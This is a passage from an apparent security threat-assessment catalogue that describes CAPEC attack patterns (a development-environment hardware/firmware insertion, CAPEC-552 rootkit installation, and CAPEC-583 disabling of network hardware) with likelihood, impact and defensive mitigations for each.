Description An attacker, leveraging the ability to manipulate components of primary support
systems and tools within the development and production environments, inserts
malicious software within the hardware and/or firmware development environment.
The infiltration purpose is to alter developed hardware components in a system
destined for deployment at the victim's organization, for the purpose of disruption or
further compromise.

Likelihood Low

Impact High

Resources Required | None

Mitigations

Ensure rigorous physical defensive measures to keep the adversary from accessing

critical systems.

23. Install Rootkit

CAPEC ID CAPEC-552

Description An adversary exploits a weakness in authentication to install malware that alters the
functionality and information provide by targeted operating system API calls. Often
referred to as rootkits, it is often used to hide the presence of programs, files, network
connections, services, drivers, and other system components.

Likelihood Medium

Impact High

Resources Required | None

Mitigations

Prevent adversary access to privileged accounts necessary to install rootkits.




24. Disabling Network Hardware
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CAPEC ID CAPEC-583

Description In this attack pattern, an adversary physically disables networking hardware by
powering it down or disconnecting critical equipment. Disabling or shutting off critical
system resources prevents them from performing their service as intended, which can
have direct and indirect consequences on other systems. This attack pattem is
considerably less technical than the selective blocking used in most obstruction
attacks.

Likelihood Low

Impact High

Resources Required | None

Mitigations

Ensure rigorous physical defensive measures to keep the adversary from accessing

critical systems.
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